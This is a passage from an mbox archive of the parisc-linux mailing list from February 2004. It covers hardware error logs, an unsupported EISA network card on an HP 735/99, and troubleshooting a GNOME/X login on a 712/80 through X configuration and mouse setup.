IIA Offset                   = 0x000000f0f000b620
CPU State                    = 0x9e000001


Memory Error Log Information:

Timestamp = 
  Fri Feb  6 07:20:26 GMT 2004    (20:04:02:06:07:20:26)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp = 
  Fri Feb  6 07:20:26 GMT 2004    (20:04:02:06:07:20:26)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    ----------   0x4e0cc009   ------------------
   5    ----------   0x5e0cc009   ------------------
   6    ----------   0x6e0cc009   ------------------
   7    ----------   0x7e0cc009   ------------------

Thanks a lot for attention,
    Joel





-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA network card "INP0500" (aka A4308-66001) in a
	735/99
Date: Fri, 6 Feb 2004 09:44:49 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20040206084448.GE28571@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="uWA6ivsFTdIbDdzo"
X-Trace: ger.gmane.org 1416623178 5440 80.91.229.3 (22 Nov 2014 02:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:18 +0000 (UTC)
Cc: willy@debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jbglaw@dvmwest.gt.owl.de  Fri Feb  6 01:44:51 2004
Return-Path: <jbglaw@dvmwest.gt.owl.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA42A4843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 01:44:50 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 4668A4B524; Fri,  6 Feb 2004 09:44:49 +0100 (CET)
Content-Disposition: inline
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 08:44:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20792


--uWA6ivsFTdIbDdzo
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

I had some time these days and installed my 735/99. Booting off an
external CD-Writer the "first" part was quite easy.

However, it seems neither of the two network cards (FDDI interface on a
slider card and an EISA "INP0500" network card) seems to work :(
Currently, I'm using the box with ppp over a serial cross cable...

I found one posting
(http://lists.parisc-linux.org/pipermail/parisc-linux/2003-April/019647.htm=
l)
of someone who seems to own the same box and a reply
(http://lists.parisc-linux.org/pipermail/parisc-linux/2003-April/019648.htm=
l)
of Matthew who claimed to either have this (or a similar) card working.

Matthew, is there currently a somewhat working driver for this card? I'm
now using current 2.6.x CVS.

Thanks, JBG

PS:
Here are the interesting EISA parts of dmesg's output:

9. Outfield Audio at 0xf1000000 [2/0/8] { 10, 0x0, 0x009, 0x0007f }
10. Outfield FDDI at 0xf0831000 [2/0/9] { 10, 0x0, 0x009, 0x0007d }
11. Cobra EISA BA at 0xfc000000 [4] { 11, 0x0, 0x004, 0x00076 }
12. Hardball (735/99) at 0xfffbe000 [8] { 0, 0x0, 0x203, 0x00004 }
13. Memory at 0xfffbf000 [9] { 1, 0x0, 0x019, 0x00009 }
--
Cutoff version 4 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
Mongoose EISA Adapter found at 0xfc000000
EISA EEPROM at 0xf0810400
Enumerating EISA bus
EISA slot 1: INP0500 EISA IRQ 10=20
EISA: Probing bus 0 at parisc4
EISA: Mainboard HWPC000 detected.
EISA: slot 1 : INP0500 detected.
EISA: Detected 1 card.
SCSI subsystem initialized
STI GSC/PCI core graphics driver Version 0.9a

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--uWA6ivsFTdIbDdzo
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAI1QAHb1edYOZ4bsRAkhvAJ0baaMKnIvk8B+Wxn6/7CrDIpXh6QCdGq7B
3YLLtXYVqh7tyxH9lGwoHEI=
=QxPi
-----END PGP SIGNATURE-----

--uWA6ivsFTdIbDdzo--


From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jens Simmoleit" <simmel@anymotion.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Install GNOME on 712/80
Date: Fri, 6 Feb 2004 16:35:23 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <009801c3ecc6$d637d990$8100a8c0__10252.3700603799$1416623179$gmane$org@punk>
References: <02d601c3ebef$e3241650$8100a8c0@punk>
	<200402060007.27911.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623179 5444 80.91.229.3 (22 Nov 2014 02:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:19 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: simmel@anymotion.de  Fri Feb  6 08:33:04 2004
Return-Path: <simmel@anymotion.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.3d-boerse.de (port-212-202-156-103.reverse.qsc.de
	[212.202.156.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id 512DE4843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 08:33:03 -0700 (MST)
Original-Received: from punk [212.202.156.99] by mail.3d-boerse.de with ESMTP
	(SMTPD32-8.03) id A373391C007E; Fri, 06 Feb 2004 16:32:03 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 15:33:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20793

Hi List,

Helge, thanks for the tip. I reinstalled from scratch installed the xserver
and the gnome packages and it "works now". The gdm started up and said that
he couldn't find the font server, the config file said that also local fonts
can be used, so I isntalled those too and voila the login page appears.

:-)

But now something strange happens, I type in my user and the password at the
gnome desktop login, the screen turns black and after a certain amount of
time the box comes back with the Gnome login prompt (where I started from)?

Seems like the system isn't able to log me on, or create a profile, or
whatever?

What am i missing here????
Do I need a font server? Is there maybe (an)other missing package(s).... I'm
quite sure I have all the gnome packages here, but what about X itself,
somebody has a clue whats missing or wrong? Maybe a config file for the
user?

Any idea?

Greets,
Simmel


> Look at the dmesg kernel log and search for a line which starts with
"stifb:".
> There you will see the only resolution & bpp color depth which your card
> currently supports and then verify your /etc/X11/XFree86.config file to
only
> have exactly those values enabled. After that change X11 should start
up....
>
> Helge
>
>
> -- 
> To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
listmaster@lists.debian.org
>
>



From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jens Simmoleit" <simmel@anymotion.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Additions - Install GNOME on 712/80
Date: Fri, 6 Feb 2004 16:45:59 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <00a901c3ecc8$50ef9a00$8100a8c0@punk>
References: <02d601c3ebef$e3241650$8100a8c0@punk>
	<200402060007.27911.deller@gmx.de>
	<009801c3ecc6$d637d990$8100a8c0@punk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623179 5448 80.91.229.3 (22 Nov 2014 02:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:19 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: simmel@anymotion.de  Fri Feb  6 08:43:34 2004
Return-Path: <simmel@anymotion.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.3d-boerse.de (port-212-202-156-103.reverse.qsc.de
	[212.202.156.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF7824843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 08:43:33 -0700 (MST)
Original-Received: from punk [212.202.156.99] by mail.3d-boerse.de with ESMTP
	(SMTPD32-8.03) id A5EF3C72005A; Fri, 06 Feb 2004 16:42:39 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 15:43:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20794

Almost forgot one thing :-)

1. My mouse won't work too *argh*

> Hi List,
>
> Helge, thanks for the tip. I reinstalled from scratch installed the
xserver
> and the gnome packages and it "works now". The gdm started up and said
that
> he couldn't find the font server, the config file said that also local
fonts
> can be used, so I isntalled those too and voila the login page appears.
>
> :-)
>
> But now something strange happens, I type in my user and the password at
the
> gnome desktop login, the screen turns black and after a certain amount of
> time the box comes back with the Gnome login prompt (where I started
from)?
>
> Seems like the system isn't able to log me on, or create a profile, or
> whatever?
>
> What am i missing here????
> Do I need a font server? Is there maybe (an)other missing package(s)....
I'm
> quite sure I have all the gnome packages here, but what about X itself,
> somebody has a clue whats missing or wrong? Maybe a config file for the
> user?
>
> Any idea?
>
> Greets,
> Simmel
>
>
> > Look at the dmesg kernel log and search for a line which starts with
> "stifb:".
> > There you will see the only resolution & bpp color depth which your card
> > currently supports and then verify your /etc/X11/XFree86.config file to
> only
> > have exactly those values enabled. After that change X11 should start
> up....
> >
> > Helge
> >
> >
> > -- 
> > To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
> > with a subject of "unsubscribe". Trouble? Contact
> listmaster@lists.debian.org
> >
> >
>
>
> -- 
> To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
listmaster@lists.debian.org
>
>



From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Install GNOME on 712/80
Date: 06 Feb 2004 10:49:42 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1076082583.1823.23.camel__37539.6797121086$1416623179$gmane$org@mulgrave>
References: <02d601c3ebef$e3241650$8100a8c0@punk>
	<200402060007.27911.deller@gmx.de>
	<009801c3ecc6$d637d990$8100a8c0@punk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623179 5450 80.91.229.3 (22 Nov 2014 02:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:19 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
To: Jens Simmoleit <simmel@anymotion.de>
Original-X-From: James.Bottomley@SteelEye.com  Fri Feb  6 08:49:48 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A76D4843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 08:49:47 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i16Fnqa07789; Fri, 6 Feb 2004 10:49:52 -0500
In-Reply-To: <009801c3ecc6$d637d990$8100a8c0@punk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 15:49:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20795

On Fri, 2004-02-06 at 10:35, Jens Simmoleit wrote:
> But now something strange happens, I type in my user and the password at the
> gnome desktop login, the screen turns black and after a certain amount of
> time the box comes back with the Gnome login prompt (where I started from)?

Gnome is a known consumer of colour resources, and it's applications
aren't very graceful when they run out (as they do with our 8 bit
framebuffer), it could be that you are simply running out of them.

You can use a true colour visual at this depth (the colours are pretty
ratty, but at least you never run out) by adding

Visual "TrueColor"

To the SubSection "Display" part that covers you.

James




From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jens Simmoleit" <simmel@anymotion.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Install GNOME on 712/80
Date: Fri, 6 Feb 2004 17:13:50 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <00ca01c3eccc$350ffe70$8100a8c0__10845.1855522164$1416623180$gmane$org@punk>
References: <02d601c3ebef$e3241650$8100a8c0@punk><200402060007.27911.deller@gmx.de>
	<009801c3ecc6$d637d990$8100a8c0@punk>
	<1076082583.1823.23.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623180 5456 80.91.229.3 (22 Nov 2014 02:26:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:20 +0000 (UTC)
To: "PARISC list" <parisc-linux@lists.parisc-linux.org>,
	<debian-hppa@lists.debian.org>
Original-X-From: simmel@anymotion.de  Fri Feb  6 09:11:27 2004
Return-Path: <simmel@anymotion.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.3d-boerse.de (port-212-202-156-103.reverse.qsc.de
	[212.202.156.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB0A448AA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 09:11:26 -0700 (MST)
Original-Received: from punk [212.202.156.99] by mail.3d-boerse.de with ESMTP
	(SMTPD32-8.03) id AC763955007E; Fri, 06 Feb 2004 17:10:30 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 16:11:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20796

Hi List, Hi James,

nope this is unfortunately not the solution to my problem :-(

But I maybe found something else. Instead of starting GDM I started the
gdmlogin and maybe it gave back a clue, look here.....

lisa:/dev/input# gdmlogin --version

Gdk-WARNING **: locale not supported by C library
Gnome gdmlogin 2.2.5.5
lisa:/dev/input#



Any idea?

Thanks for helping me,
Simmel




----- Original Message ----- 
From: "James Bottomley" <James.Bottomley@steeleye.com>
To: "Jens Simmoleit" <simmel@anymotion.de>
Cc: "PARISC list" <parisc-linux@lists.parisc-linux.org>;
<debian-hppa@lists.debian.org>
Sent: Friday, February 06, 2004 4:49 PM
Subject: Re: [parisc-linux] Re: Install GNOME on 712/80


> On Fri, 2004-02-06 at 10:35, Jens Simmoleit wrote:
> > But now something strange happens, I type in my user and the password at
the
> > gnome desktop login, the screen turns black and after a certain amount
of
> > time the box comes back with the Gnome login prompt (where I started
from)?
>
> Gnome is a known consumer of colour resources, and it's applications
> aren't very graceful when they run out (as they do with our 8 bit
> framebuffer), it could be that you are simply running out of them.
>
> You can use a true colour visual at this depth (the colours are pretty
> ratty, but at least you never run out) by adding
>
> Visual "TrueColor"
>
> To the SubSection "Display" part that covers you.
>
> James
>
>
>



From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Fri, 6 Feb 2004 11:16:31 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20040206191631.GQ959@tausq.org>
References: <40218AE200000F67@ocpmta2.freegates.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623180 5461 80.91.229.3 (22 Nov 2014 02:26:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: randolph@tausq.org  Fri Feb  6 09:29:02 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 771F94890
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 09:29:02 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 927B5CD28A; Fri,  6 Feb 2004 11:16:31 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <40218AE200000F67@ocpmta2.freegates.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 16:29:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20797

> Just in case Randolph has the opportunity to check the piminfo:

did you do clearpim before the run? The values in the pim info don't
make a lot of sense.... did the box HPMC? did it hang and then you hit
the TOC button?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Additions - Install GNOME on 712/80
Date: Fri, 6 Feb 2004 17:12:29 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <40218AE200001791@ocpmta2.freegates.net>
References: <00a901c3ecc8$50ef9a00$8100a8c0@punk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623180 5463 80.91.229.3 (22 Nov 2014 02:26:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:20 +0000 (UTC)
To: "Jens Simmoleit" <simmel@anymotion.de>, parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Feb  6 09:33:31 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 349CC4890
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 09:33:31 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Ap8v0-0001Ot-00; Fri, 06 Feb 2004 17:33:26 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 6 Feb 2004 17:12:29 +0100
In-Reply-To: <00a901c3ecc8$50ef9a00$8100a8c0@punk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 16:33:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20798

Hi Jens,

>1. My mouse won't work too *argh*

2. that is why you couldn't login with your user (i presume not root) :)

X absolutely need a mouse pointer :(

iirc you should have this entry in your XF86config-4 file:
Section "InputDevice"
        Identifier      "Configured Mouse"
        Driver          "mouse"
        Option          "CorePointer"
        Option          "Device"                "/dev/psaux"
        Option          "Protocol"              "PS/2"
EndSection

Check that /dev/psaux was well created, should look like:
# ll /dev/psaux
crw-------    1 root     root      10,   1 Mar 15  2002 /dev/psaux

(if you build your own kernel check that its support is in the kernel)


 and that gpm is not running (would not disable X to start but well trouble
the behaviour of cursor).

Hth,
    Joel

PS: can you also mentioned which kernel are you using 

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Fri, 6 Feb 2004 18:08:13 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <40218AE20000180F@ocpmta2.freegates.net>
References: <20040206191631.GQ959@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623181 5466 80.91.229.3 (22 Nov 2014 02:26:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: soete.joel@tiscali.be  Fri Feb  6 10:28:32 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1024B488A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 10:28:32 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Ap9mE-0005At-00; Fri, 06 Feb 2004 18:28:26 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 6 Feb 2004 18:08:13 +0100
In-Reply-To: <20040206191631.GQ959@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
